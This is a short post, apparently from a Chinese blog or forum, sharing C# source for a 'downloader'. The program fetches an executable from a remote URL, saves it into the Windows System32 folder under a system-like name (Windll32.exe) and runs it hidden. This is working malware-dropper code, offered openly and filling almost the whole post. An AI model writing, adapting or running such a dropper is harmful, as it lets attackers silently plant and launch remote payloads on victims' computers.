Downloader Code For CSharp

Downloader Code For CSharp

BY Delphiscn([email protected])http://blog.csdn.net/delphiscn

Environment: Windows Vista Home Premium VS 2005 Net 2.0

using System.Runtime.InteropServices;
using System;

class Task
{
[DllImport ("Shell32.dll")]
public extern static int ShellExecute([MarshalAs(UnmanagedType.LPTStr)] int handle, String lpOperation, String lpFile, String lpParameters, string lpDirectory, int nShowCmd
);
[DllImport ("urlmon.dll")]
public extern static int URLDownloadToFile([MarshalAs(UnmanagedType.LPTStr)] string pCaller, string szURL, string szFileName, int dwReserved, string lpfnCB
);
static void AboutCoder()
{
Console .Write("+=====================================================+");
Console .Write("Code BY Delphiscn ([email protected]) http://blog.csdn.net/delphiscn");
Console .Write("+=====================================================+");
}

static void Main()
{
//AboutCoder ;
URLDownloadToFile(null ,"http://www.lzitw.com/kj/hoho.exe","C:\\Windows\\System32\\Windll32.exe",0,null );
ShellExecute(0, "open", "C:\\Windows\\System32\\Windll32.exe", null, null, 0);
return;
}
}

More Information could be found at: https://forum.eviloctal.com/read-htm-tid-30957.html


你可能感兴趣的:(C++,c,.net,windows,Gmail)